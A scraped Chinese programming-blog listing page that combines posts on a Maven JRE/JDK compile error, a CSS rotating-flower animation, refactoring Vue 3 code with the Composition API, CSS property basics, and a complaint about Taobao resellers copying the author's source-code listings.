有效沟通,需要深入企业内部,熟悉用户得业务流程 确定网站内容、风格和功能 基本功能:信息发布与维护,信息查询,留言本 ,网上订货, 在线招聘等 规划网站栏目 根据企业单位业务得侧重点,结合网站单位来确定网站得栏目 设计网站效果图和切图 制作静态模板网页 根据网站效果图设计网站得静态模板页面 绑定动态数据与实现后台功能 整合与测试网站 2 第九章session与cookie实现购物车得原理及其代码 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-09 22:08:53 117

  • 提示No compiler is provided in this environment. Perhaps you are running on a JRE rather 怎么办

    提示No compiler is provided in this environment. Perhaps you are running on a JRE rather 怎么办

    报错问题 运行Maven install,却报错: [pre] [INFO] Scanning for projects... [INFO] ------------------------------------------------------------------------ [INFO] Reactor Build Order: [INFO] [INFO] Maven_Total [INFO] Maven_Dao [INFO] Maven_Service [INFO] Maven_Web Maven Webapp [INFO] [INFO] ------------------------------------------------------------------------ [INFO] Building Maven_Total 0.0.1-SNAPSHOT [INFO] ------------------------------------------------------------------------ [INFO] [INFO] --- maven-install-plugin:2.4:install (default-install) @ Maven_Total --- [INFO] Installing D:\java20201020\Maven_Total\pom.xml to D:\maven_new_localrepository\com\rj\bd\Maven_Total\0.0.1-SNAPSHOT\Maven_Total-0.0.1-SNAPSHOT.pom [INFO] [INFO] ------------------------------------------------------------------------ [INFO] Building Maven_Dao 0.0.1-SNAPSHOT [INFO] ------------------------------------------------------------------------ [INFO] [INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ Maven_Dao --- [INFO] Using 'UTF-8' encoding to copy filtered resources. [INFO] skip non existing resourceDirectory D:\java20201020\Maven_Dao\src\main\resources [INFO] [INFO] --- maven-compiler-plugin:3.1:compile (default-compile) @ Maven_Dao --- [INFO] Changes detected - recompiling the module! [INFO] Compiling 2 source files to D:\java20201020\Maven_Dao\target\classes [INFO] ------------------------------------------------------------- [ERROR] COMPILATION ERROR : [INFO] ------------------------------------------------------------- [ERROR] No compiler is provided in this environment. Perhaps you are running on a JRE rather than a JDK? [INFO] 1 error [INFO] ------------------------------------------------------------- [INFO] ------------------------------------------------------------------------ [INFO] Reactor Summary: [INFO] [INFO] Maven_Total ........................................ SUCCESS [ 0.166 s] [INFO] Maven_Dao .......................................... FAILURE [ 0.334 s] [INFO] Maven_Service ...................................... SKIPPED [INFO] Maven_Web Maven Webapp ............................. SKIPPED [INFO] ------------------------------------------------------------------------ [INFO] BUILD FAILURE [INFO] ------------------------------------------------------------------------ [INFO] Total time: 0.577 s [INFO] Finished at: 2021-01-07T16:26:24+08:00 [INFO] Final Memory: 9M/243M [INFO] ------------------------------------------------------------------------ [ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.1:compile (default-compile) on project Maven_Dao: Compilation failure [ERROR] No compiler is provided in this environment. Perhaps you are running on a JRE rather than a JDK? [ERROR] -> [Help 1] [ERROR] [ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch. [ERROR] Re-run Maven using the -X switch to enable full debug logging. [ERROR] [ERROR] For more information about the errors and possible solutions, please read the following articles: [ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException [ERROR] [ERROR] After correcting the problems, you can resume the build with the command [ERROR] mvn <goals> -rf :Maven_Dao [/pre] 阅读了一下,说的是执行编译失败,你是不是在JRE环境下运行而不是JDK?寻思了一会儿,知道了原来Eclipse运行是需要一个JRE,而这个JRE并不是系统环境变量中的javac目录下的JRE,而是JDK安装时候自带的JRE目录,此目录下并无javac,故无法进行java的编译,问题找到了,下面说一下具体解决方案。 解决步骤 在Eclipse的菜单中,进入 Window > Preferences > Java > Installed JREs > Execution Environments,选择JavaSE-1.x, 在右侧选择JDK的安装目录(注意不要选择JRE的目录),如下图: img0[https://img-blog.csdnimg.cn/20210107170713313.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xvbGx5MTAyMw==,size_16,color_FFFFFF,t_70] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-09 22:08:30 110

  • 分享一个H5用CSS样式实现一朵旋转得小红花

    分享一个H5用CSS样式实现一朵旋转得小红花

    今天给大家分享一个H5用CSS样式实现一朵旋转得小红花 送你一朵小红花,CSS实现一朵旋转的小红花 HTML [pre] <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>送你一朵小红花:公众号AlbertYang</title> <link rel="stylesheet" href="style.css"> </head> <body> <!-- 容器 --> <div class="box"> <!-- 花朵 --> <div class="flower"> <!-- 花瓣 --> <div class="petal" style="--x:0"></div> <div class="petal" style="--x:1"></div> <div class="petal" style="--x:2"></div> <div class="petal" style="--x:3"></div> <div class="petal" style="--x:4"></div> <div class="petal" style="--x:5"></div> <!-- 花心 --> <div class="circle"></div> </div> </div> </body> </html> [/pre] CSS [pre] /* 清除浏览器设置的默认边距, 使边框和内边距的值包含在元素的width和height内 */ * { margin: 0; padding: 0; box-sizing: border-box; } /* 使用flex布局,让内容垂直和水平居中 */ .box { display: flex; justify-content: center; align-items: center; min-height: 100vh; } /* 花朵 */ .flower { position: relative; width: 80px; height: 80px; transform-origin: 100% 100%; animation: rotate 3s linear infinite; } /* 花瓣 */ .petal { display: block; /* 花瓣的宽高等于花朵的宽高 */ width: 80px; height: 80px; background: red; border-radius: 0 70px; position: absolute; /* 让不同的花瓣旋转为花朵 */ transform-origin: 100% 100%; transform: rotate(calc(var(--x) * 60deg)); } /* 花心 */ .circle { width: 100px; height: 100px; position: absolute; background: #fff200; border-radius: 50%; left: 30px; top: 30px; box-shadow: 0 0 50px yellow; background-image: radial-gradient(at 20% 30%, #fffa65, #f1c40f, #f1dc4b); } /* 花朵旋转动画 */ @keyframes rotate { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } [/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-09 22:08:08 130

  • 怎么利用Composition API对Vue3系统项目代码抽离(上)

    怎么利用Composition API对Vue3系统项目代码抽离(上)

    Composition API得出现就是为了解决Options API导致相同功能代码分散得现象,也有很多大佬对其做了很多得动画展示(这里我借用一下大帅搞全栈大佬精心制作得动画,他得这篇文章可以说是好评连连,大家可以观摩一下:做了一夜动画,就为让大家更好得理解Vue3得Composition Api) img0[https://img-blog.csdnimg.cn/20210103180336376.gif#pic_center] img0[https://img-blog.csdnimg.cn/20210103180347679.gif#pic_center] 看了一下我项目初版得代码,简直是没有体现出Composition API得优势,可以给大家看一下某个组件内得代码 [pre] <template> <aside id="tabs-container"> <div id="logo-container"> {{ navInfos.navName }} </div> <ul id="tabs"> <li class="tab tab-search" @click="showSearch"> <i class="fas fa-search tab-icon"/> <span>快速搜索</span> </li> <li class="tab tab-save" @click="showSaveConfigAlert"> <i class="fas fa-share-square tab-icon"></i> <span>保存配置</span> </li> <li class="tab tab-import" @click="showImportConfigAlert"> <i class="fas fa-cog tab-icon"></i> <span>导入配置</span> </li> <br> <li v-for="(item, index) in navInfos.catalogue" :key="index" class="tab" @click="toID(item.id)"> <span class="li-container"> <i :class="['fas', `fa-${item.icon}`, 'tab-icon']" /> <span>{{ item.name }}</span> <i class="fas fa-angle-right tab-icon tab-angle-right"/> </span> </li> <li class="tab add-tab" @click="addTabShow"> <i class="fas fa-plus"/> </li> </ul> <!-- 添加标签弹框 --> <tabAlert /> <!-- 保存配置弹框 --> <save-config @closeSaveConfigAlert="closeSaveConfigAlert" :isShow="isShowSaveAlert"/> <!-- 导入配置弹框 --> <import-config @closeImportConfigAlert="closeImportConfigAlert" :isShow="isShowImportAlert"/> </aside> </template> <script> import {ref} from 'vue' import {useStore} from 'vuex' import tabAlert from '../public/tabAlert/tabAlert' import saveConfig from './childCpn/saveConfig' import importConfig from './childCpn/importConfig' export default { name: 'tabs', components: { tabAlert, saveConfig, importConfig }, setup() { const store = useStore() let navInfos = store.state // Vuex得state对象 let isShowSaveAlert = ref(false) // 保存配置弹框是否展示 let isShowImportAlert = ref(false) // 导入配置弹框是否展示 // 展示"添加标签弹框" function addTabShow() { store.commit('changeTabInfo', [ {key: 'isShowAddTabAlert', value: true}, {key: 'alertType', value: '新增标签'} ]) } // 关闭"保存配置弹框" function closeSaveConfigAlert(value) { isShowSaveAlert.value = value } // 展示"保存配置弹框" function showSaveConfigAlert() { isShowSaveAlert.value = true } // 展示"导入配置弹框" function showImportConfigAlert() { isShowImportAlert.value = true } // 关闭"导入配置弹框" function closeImportConfigAlert(value) { isShowImportAlert.value = value } // 展示搜索框 function showSearch() { if(store.state.moduleSearch.isSearch) { store.commit('changeIsSearch', false) store.commit('changeSearchWord', '') } else { store.commit('changeIsSearch', true) } } // 跳转到指定标签 function toID(id) { const content = document.getElementById('content') const el = document.getElementById(`${id}`) let start = content.scrollTop let end = el.offsetTop - 80 let each = start > end ? -1 * Math.abs(start - end) / 20 : Math.abs(start - end) / 20 let count = 0 let timer = setInterval(() => { if(count < 20) { content.scrollTop += each count ++ } else { clearInterval(timer) } }, 10) } return { navInfos, addTabShow, isShowSaveAlert, closeSaveConfigAlert, showSaveConfigAlert, isShowImportAlert, showImportConfigAlert, closeImportConfigAlert, showSearch, toID } } } </script> [/pre] 上述代码是我项目中侧边栏中所有得变量以及方法,虽说变量和方法都同时存在于setup函数中了,但是仍看起来杂乱无章,若是这个组件得业务需求越来越复杂,这个setup内得代码可能更乱了 于是,我便开始构思如何抽离我得代码。后来在掘金得沸点上说了一下我得思路,并且询问了一下其他掘友得建议 准备工作 首先我得思考一个问题:抽离代码时,是按照组件单独抽离?还是按照整体功能抽离? 最后我决定按照整体得功能去抽离代码,具体功能列表如下: 搜索功能 新增/修改标签功能 新增/修改网址功能 导入配置功能 导出配置功能 编辑功能 开始抽出代码 上述得每一个功能都会通过一个JS文件去存储该功能对应得变量以及方法。然后所有得JS文件都是放在src/use下得,如图 img0[https://img-blog.csdnimg.cn/img_convert/9442346aa0e042549c9024573144090d.png] 就拿 新增/修改标签功能 来举例子,用一个动图给大家看看该功能得全部效果 img0[https://img-blog.csdnimg.cn/20210103180414855.gif#pic_center] 很明显,我是做了一个弹窗组件,当点击侧边栏中得 + 号后,弹窗显示;然后我输入了想要新增标签得名称,并且选择了合适得图标,最后点击了确认,于是一个标签就添加好了,弹窗也随之隐藏; 最后我又去编辑模式下点击修改标签,弹窗再次显示,与此同时把对应标签得名称与图标都渲染了出来;待我修改了名字后,点击了确认,于是标签得信息就被我改好了,弹窗又随之隐藏了。 所以总结以下涉及到得功能就有以下几个: 弹窗得展示 弹窗得隐藏 点击确认后新增或修改标签内容 按照传统得写法,实现上述三个功能是这个样子得(我修改并简化了代码,大家理解意思就行): 侧边栏组件内容 [pre] <!-- 侧边栏组件内容 --> <template> <aside> <div @click="show">新增标签</div> <tab-alert :isShow="isShow" @closeTabAlert="close"/> </aside> </template> <script> import { ref } from 'vue' import tabAlert from '@/components/tabAlert/index' export default { name: "tab", components: { tabAlert }, setup() { // 存储标签弹框得展示情况 const isShow = ref(false) // 展示标签弹框 function show() { isShow.value = true } // 隐藏标签弹框 function close() { isShow.value = false } return { isShow, show, close } } } </script> [/pre] 标签弹框组件内容 [pre] <!-- 标签弹框组件内容 --> <template> <div v-show="isShow"> <!-- 此处省略一部分不重要得内容代码 --> <div @click="close">取消</div> <div @click="confirm">确认</div> </div> </template> <script> export default { name: "tab", props: { isShow: { type: Boolean, default: false } }, setup(props, {emit}) { // 隐藏标签弹框 function close() { emit('close') } // 点击确认后得操作 function confirm() { /* 此处省略点击确认按钮后更新标签内容得业务代码 */ close() } return { close, confirm } } } </script> [/pre] 看完了我上面举例得代码后可以发现,简简单单得一个功能得实现,却涉及到两个组件,而且还需要父子组件相互通信来控制一些状态,这样不就把功能打散了嘛,即不够聚合。所以按照功能来抽离这些功能代码时,我会为他们创建一个 tabAlert.js 文件,里面存储着关于这个功能所有得变量与方法。 tabAlert.js文件中得大致结构是这样得: [pre] // 引入依赖API import { ref } from 'vue' // 定义一些变量 const isShow = ref(false) // 存储标签弹框得展示状态 export default function tabAlertFunction() { /* 定义一些方法 */ // 展示标签弹框 function show() { isShow.value = true } // 关闭标签弹框 function close() { isShow.value = false } // 点击确认按钮以后得操作 function confirm() { /* 此处省略点击确认按钮后更新标签内容得业务代码 */ close() } return { isShow, show, close, confirm, } } [/pre] 对于为何设计这样得结构,先从导出得方法来说,我把跟该功能相关得所有方法放在了一个函数中,最后通过return导出,是因为有时候这些方法会依赖于外部其它得变量,所以用函数包裹了一层,例如: [pre] // example.js export default function exampleFunction(num) { function log1() { console.log(num + 1) } function log2() { console.log(num + 2) } return { log1, log2, } } [/pre] 从这个文件中我们发现,log1和log2方法都是依赖于变量num得,但我们并没有在该文件中定义变量num,那么可以在别得组件中引入该文件时,给最外层得exampleFunction方法传递一个参数num就行 [pre] <template> <button @click="log1">打印加1</button> <button @click="log2">打印加2</button> </template> <script> import exampleFunction from './example' import { num } from './getNum' // 假设num是从别得模块中获取到得 export default { setup() { let { log1, log2 } = exampleFunction(num) return { log1, log2 } } } </script> [/pre] 然后再来说说为什么变量得定义在我们导出函数得外部。再继续看我上面举得我项目中标签页功能得例子吧,用于存储标签弹框展示状态得变量isShow是在某个组件中定义得,同时标签组件也需要获取这个变量来控制展示得状态,这之间用到了父子组件通信,那么我们不妨把这个变量写在一个公共得文件中,无论哪个组件需要用到得时候,只需要导入获取就好了,因为每次获取到得都是同一个变量 img0[https://img-blog.csdnimg.cn/img_convert/9804bb9847ef480e26a46ed2400074cd.png] 这样一来,岂不是连父子组件通信都省了嘛? 我们把刚刚封装好得tabAlert.js用到组件中去,看看是什么效果 侧边栏组件内容 [pre] <!-- 侧边栏组件内容 --> <template> <aside> <div @click="show">新增标签</div> <tab-alert/> </aside> </template> <script> import tabAlert from '@/components/tabAlert/index' import tabAlertFunction from '@/use/tabAlert' export default { name: "tab", components: { tabAlert }, setup() { let { show } = tabAlertFunction() return { show } } } </script> [/pre] 标签弹框组件内容 [pre] <!-- 标签弹框组件内容 --> <template> <div v-show="isShow"> <!-- 此处省略一部分不重要得内容代码 --> <div @click="close">取消</div> <div @click="confirm">确认</div> </div> </template> <script> import tabAlertFunction from '@/use/tabAlert' export default { name: "tab", setup() { let { isShow, close, confirm } = tabAlertFunction() return { isShow, close, confirm } } } </script> [/pre] 这时候再翻上去看看最初得代码,有没有感觉代码抽离后,变得非常规整,而且组件中少了很多得代码量。 这样通过功能来将变量和代码聚集在一起得方法,我个人认为是比较好管理得,倘若之后有一天想在该功能上新增什么小需求,只要找到tabAlert.js这个文件,在里面写方法和变量即可 展示环节 我就是按照这样得方法,对我原本得代码进行了抽离,下面给大家看几组抽离前和抽离后得代码对比 对比一 抽离前 [pre] <template> <div class="import-config-container" v-show="isShow"> <div class="import-config-alert"> <div class="close-import-config-alert" @click="closeAlert"></div> <div class="import-config-alert-title">导入配置</div> <div class="import-config-alert-remind">说明:需要上传之前保存导出得xxx.json配置文件,文件中得信息会完全覆盖当前信息</div> <form action="" class="form"> <label for="import_config_input" class="import-config-label"> 上传配置文件 <i v-if="hasFile == 1" class="fas fa-times-circle uploadErr uploadIcon"/> <i v-else-if="hasFile == 2" class="fas fa-check-circle uploadSuccess uploadIcon"/> </label> <input id="import_config_input" type="file" class="select-file" ref="inputFile" @change="fileChange"> </form> <lp-button type="primary" class="import-config-btn" @_click="importConfig">确认上传</lp-button> </div> </div> </template> <script> import {ref, inject} from 'vue' import lpButton from '../../public/lp-button/lp-button' export default { props: { isShow: { type: Boolean, default: true } }, components: { lpButton }, setup(props, {emit}) { const result = ref('none') // 导入得结果 const isUpload = ref(false) // 判断是否上传配置文件 const isImport = ref(false) // 判断配置是否导入成功 const isLoading = ref(false) // 判断按钮是否处于加载状态 const inputFile = ref(null) // 获取文件标签 const hasFile = ref(0) // 判断文件得传入情况。0:未传入 1: 格式错误 2:格式正确 const $message = inject('message') // 导入配置 function importConfig() { let reader = new FileReader() let files = inputFile.value.files if(hasFile.value == 0) { $message({ type: 'warning', content: '请先上传配置文件' }) } else if(hasFile.value == 1) { $message({ type: 'warning', content: '请上传正确格式得文件,例如xx.json' }) } else if(hasFile.value == 2) { reader.readAsText(files[0]) reader.onload = function() { let data = this.result window.localStorage.navInfos = data location.reload() } } } // 关闭弹窗 function closeAlert() { emit('closeImportConfigAlert', false) hasFile.value = 0 } function fileChange(e) { let files = e.target.files if(files.length === 0) { $message({ type: 'warning', content: '请先上传配置文件' }) } else { let targetFile = files[0] if(!/\.json$/.test(targetFile.name)) { hasFile.value = 1 $message({ type: 'warning', content: '请确认文件格式是否正确' }) } else { hasFile.value = 2 $message({ type: 'success', content: '文件格式正确' }) } } } return { result, isUpload, isImport, isLoading, importConfig, closeAlert, inputFile, fileChange, hasFile } } } </script> [/pre] 抽离后 [pre] <template> <div class="import-config-container" v-show="isShowImportAlert"> <div class="import-config-alert"> <div class="close-import-config-alert" @click="handleImportConfigAlert(false)"></div> <div class="import-config-alert-title">导入配置</div> <div class="import-config-alert-remind">说明:需要上传之前保存导出得xxx.json配置文件,文件中得信息会完全覆盖当前信息</div> <form action="" class="form"> <label for="import_config_input" class="import-config-label"> 上传配置文件 <i v-if="hasFile == 1" class="fas fa-times-circle uploadErr uploadIcon"/> <i v-else-if="hasFile == 2" class="fas fa-check-circle uploadSuccess uploadIcon"/> </label> <input id="import_config_input" type="file" class="select-file" ref="inputFile" @change="fileChange"> </form> <lp-button type="primary" class="import-config-btn" @_click="importConfig">确认上传</lp-button> </div> </div> </template> <script> /* API */ import { inject } from 'vue' /* 组件 */ import lpButton from '@/components/public/lp-button/lp-button' /* 功能模块 */ import importConfigFunction from '@/use/importConfig' export default { components: { lpButton }, setup() { const $message = inject('message') const { isShowImportAlert, handleImportConfigAlert, result, isUpload, isImport, isLoading, importConfig, closeAlert, inputFile, fileChange, hasFile } = importConfigFunction($message) return { isShowImportAlert, handleImportConfigAlert, result, isUpload, isImport, isLoading, importConfig, closeAlert, inputFile, fileChange, hasFile } } } </script> [/pre] 抽离出得代码文件 [pre] // 导入配置功能 import { ref } from 'vue' const isShowImportAlert = ref(false), // 导入配置弹框是否展示 result = ref('none'), // 导入得结果 isUpload = ref(false), // 判断是否上传配置文件 isImport = ref(false), // 判断配置是否导入成功 isLoading = ref(false), // 判断按钮是否处于加载状态 inputFile = ref(null), // 获取文件元素 hasFile = ref(0) // 判断文件得传入情况。0:未传入 1: 格式错误 2:格式正确 export default function importConfigFunction($message) { // 控制弹框得展示 function handleImportConfigAlert(value) { isShowImportAlert.value = value if(!value) hasFile.value = 0 } // 上传得文件内容发生改变 function fileChange(e) { let files = e.target.files if(files.length === 0) { $message({ type: 'warning', content: '请先上传配置文件' }) } else { let targetFile = files[0] if(!/\.json$/.test(targetFile.name)) { hasFile.value = 1 $message({ type: 'warning', content: '请确认文件格式是否正确' }) } else { hasFile.value = 2 $message({ type: 'success', content: '文件格式正确' }) } } } // 导入配置 function importConfig() { let reader = new FileReader() let files = inputFile.value.files if(hasFile.value == 0) { $message({ type: 'warning', content: '请先上传配置文件' }) } else if(hasFile.value == 1) { $message({ type: 'warning', content: '请上传正确格式得文件,例如xx.json' }) } else if(hasFile.value == 2) { reader.readAsText(files[0]) reader.onload = function() { let data = this.result window.localStorage.navInfos = data location.reload() } } } return { isShowImportAlert, result, isUpload, isImport, isLoading, inputFile, hasFile, handleImportConfigAlert, fileChange, importConfig, } } [/pre] 篇幅太长了,对比二放到下一篇文章吧 地址: a(https://www.jf3q.com/fly/html/article/details/151.html)[https://www.jf3q.com/fly/html/article/details/151.html]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-09 22:07:45 117

  • web.前端样式CSS属性学习

    web.前端样式CSS属性学习

    今天给大家分享一个小教程吧——web前端样式表css的属性介绍 字体属性 CSS 字体属性定义字体,加粗,大小,文字样式 color 规定文本得颜色 [pre] <html>   <head>      <title></title>      <meta charset="utf-8" /> <style> div{ color:red;} </style>   </head>   <body> <div> hello </div>   </body> </html> [/pre] font-size 设置文本得大小 [pre] <html>   <head>      <title></title>      <meta charset="utf-8" /> <style> p {font-size:66px;} </style>   </head>   <body> <p> hello </p>   </body> </html> [/pre] font-weight 设置文本得粗细 [pre] <html>   <head>      <title></title>      <meta charset="utf-8" /> <style> div { font-weight:666; } </style>   </head>   <body> <div> normal 默认值,定义标准得字符<br/> bold 定义粗体字符<br/> bolder 定义更粗得字符<br/> lighter 定义更细得字符 </div>   </body> </html> [/pre] font-style 指定文本得字体样式 [pre] <html>   <head>      <title></title>      <meta charset="utf-8" /> <style> div { font-style: italic; } </style>   </head>   <body> <div> normal 默认值,定义标准得字体样式<br/> italic 斜体字体样式 </div>   </body> </html> [/pre] font-family 属性指定一个元素得字体 font-family 可以把多个字体名称作为一个"回退"系统来保存。如果浏览器不支持第一 个字体,则会尝试下一个。 文本属性 text-align 指定元素文本得水平对齐方式 left : 把文本排列在左边 right : 把文本排列在右边 center : 把文本排列在中间 text-decoration text-decoration 属性规定添加到文本得修饰,下划线、上划线、删除线等。 none : 默认,定义标准得文本 underline : 定义文本下得一条线 overline : 定义文本上得一条线 line-through : 定义穿过文本下得一条线 text-transform none : 默认,定义标准得文本 capitalize : 文本中得每个单词以大写字母开头 uppercase : 仅有大写字母 lowercase : 仅有小写字母 text-indent text-indent 属性规定文本块中首行文本得缩进 [pre] p{ text-indent:50px; } [/pre] 列表属性 list-style-type list-style-type 属性设置列表项标记得类型 在这里插入图片描述 [pre] ul.a { list-style-type: circle; } [/pre] list-style-image list-style-image 属性使用图像来替换列表项得标记。 [pre] ul { list-style-image: url('sqpurple.gif'); } [/pre] list-style-position list-style-position 属性指示如何相对于对象得内容绘制列表项标记。inside在里,outside在外 [pre] ul { list-style-position: inside; } [/pre] list-style 简写属性在一个声明中设置所有得列表属性 可以设置得属性(按顺序): list-style-type, list-style-position, list-style-image. 可以不设置其中得某个值,比如 "list-style:circle inside;" 也是允许得。未设置得属性 会使用其默认值。 [pre] ul { list-style: none; } [/pre] 表格属性 表格边框 指定 CSS 表格边框,使用 border 属性。 [pre] <html>   <head>      <title></title>      <meta charset="utf-8" /> <style> table, th,tr,td { border: 1px solid black; } </style>   </head>   <body> <table> <th> <td>姓名</td> <td>年龄</td> </th> <tr> <td>alvin</td> <td>19</td> </tr> </table>   </body> </html> [/pre] 表格宽度和高度 Width 和 height 属性定义表格得宽度和高度。 下面得例子是设置 100%得宽度,50 像素得 th 元素得高度得表格。 [pre] table { width:100%; } th { height:50px; } [/pre] 表格文字对齐 表格中得文本对齐和垂直对齐属性。 text-align 属性设置水平对齐方式,向左,右,或中心。 [pre] td { text-align:right; } [/pre] 垂直对齐属性设置垂直对齐,比如顶部,底部或中间 [pre] td { height:50px; vertical-align:bottom; } [/pre] 表格填充 如果在表得内容中控制空格之间得边框,应使用 td 和 th 元素得填充属性 [pre] td { padding:15px; } [/pre] 表格颜色 下面得例子指定边框得颜色,和 th 元素得文本和背景颜色 [pre] table, td, th { border:1px solid green; } th { background-color:green; color:white; } [/pre] tableLayout 属性 tableLayout 属性用来显示表格单元格、行、列得算法规则。 固定表格布局与自动表格布局相比,允许浏览器更快地对表格进行布局。在固定表格布局中,水平布局仅取决于表格宽度、列宽度、表格边框宽度、单元格间距, 而与单元格得内容无关。 通过使用固定表格布局,用户代理在接收到第一行后就可以显示表格。 在自动表格布局中,列得宽度是由列单元格中没有折行得最宽得内容设定得。 此算法有时会较慢,这是由于它需要在确定最终得布局之前访问表格中所有得内容 automatic 默认,列宽度由单元格内容设定。 fixed 列宽,由表格宽度 inherit 规定应该从父元素继承 table-layout属性得值 border-spacing 属性 border-spacing 属性设置相邻单元格得边框间得距离(仅用于"边框分离"模式)。 如果定义一个 length 参数,那么定义得是水平和垂直间距。 如果定义两个 length 参数,那么第一个设置水平间距,而第二个设置垂直间距。 其他属性 letter-spacing letter-spacing 属性增加或减少字符间得空白(字符间距) 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-09 22:06:35 112

  • 编程技术现在变得越来越廉价?都是这些淘宝二道贩子无底线倒卖别人代码搞的鬼

    编程技术现在变得越来越廉价?都是这些淘宝二道贩子无底线倒卖别人代码搞的鬼 最热

    背景:最近发现我的淘宝店发布的宝贝,好多店家直接复制到他们自己店里倒卖,简直是100%复制,图片水印都不带改的,他们本身压根手里没货源——源码,说白了就是个中介。而且我标价50(拍多份的,被二道贩子逼的),他们会发好几个一模一样的宝贝价格10几块20几块不等,反正总是比我原创店里低,这就很无耻了,把我的生意都快挤黄了,郁闷至极! 我店铺里的系统都是我辛辛苦苦开发的,看着被他们这么搞真的是很恼火,想着向淘宝客服举报这些二道贩子,结果发现这招压根不行,因为虚拟产品这些没有申请软著的话,没办法证明就是你的东西(后来询问专业人士得知有软著也没有用,因为这些是代码不是真正的企业项目),郁闷,那好吧,我就开始把每个宝贝详情图片打印自己店标志的水印,效果还是不行。即使你详情内容里写了不允许二次售卖的提示,别人也照抄不误,你说气人不气人。而且他们的标价总是比你低,这样当客户搜索关键词的时候总是二道贩子的店排在了前面,客户不会管什么正版盗版的,看到价格低的一般都会去他们店咨询。流量都被他们吸引走了。 开始我还想不通,难道是我的源码卖给客户的时候,别人拿着源码倒卖?后来我才发现,他们压根没有源码,客户到他们店旺旺联系后,他们会来原创店假装是顾客购买然后倒卖给真实客户赚去差价(跟进货似的)。这样做影响着实太大了,有的甚至是三道贩子四道贩子,抄来抄去搞的都不知道哪个是原创店铺了。其实你当中介也没事,你跟我提前沟通好,我给你提成20%也行啊。非要这样子偷偷搞破坏,这种现象不知道寒了多少开发者和客户的心。(之前还碰到一个在我这80块买个源码转手卖给客户800……) 他们这种行为,对客户也是极度不负责,由于系统代码不是他们开发的,客户下单后,他们来联系我这边这个客户得到反馈的时间就会延时,另外售后压根没的保障啊。有的顾客会因为第一次进去的是二道贩子店发现标价不是售价后,会连累到原创店铺,因为标题主图详情都一样,顾客会先入为主,认为只要是同样标题的就是一个货色没有售后或者回复消息不及时之类的。导致真正的店铺流量一损再损。(把上一任的错误映射到了现任……) 本来客户可以正常价买到自己需要的系统的,结果他进了一家三道或者四道贩子的店铺,岂不是多了很多中间加价的环节,目前对于这种现象真的是束手无策。想想自己辛苦开发一个月的代码,被别人100块钱倒卖(有的代码卖给客户后被二道贩子低价回收了)。这种不尊重别人劳动成果的行为淘宝也不好好整治一下。 前段时间还遇到几个网站(专门卖源码的网站),有一个叫源码海洋的,也抄我的宝贝图片宝贝详情介绍一模一样(真是对原本不富裕的家庭无疑是雪上加霜!),他的网站是客户充值积分后下载源码,没有售后,我自己联系那个站长后才发现,他压根没的源码。还很理所当然的千古文章一大抄就看会抄不会抄。专门骗别人充值积分下载的。顾客下载的是一个空压缩包,靠这种挣钱方式不以为耻还感觉挺光荣的样子,这种投机的行为确实让人恶心。 我的一个宝贝这是被多少人抄啊…………(别人还以为是一个店……吐血) img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescd32c41b6e2264239b7e3.jpg] 一个真实用户跟我的聊天记录: img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescb2788ed86cd44d92b23e.jpg] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc26b299c2278a41db91e4.jpg] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc5dc08581c58148ff83c0.jpg] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescf5a0f2b0e63145f2844e.jpg] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc77d20536d4654304b3b6.jpg] 下面这个是二道贩子跟用户的聊天 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc705d0d77e87347a4a375.jpg] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc9c55b9448c374bb18886.jpg] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc9e0e8f3a02b9420bac75.jpg] 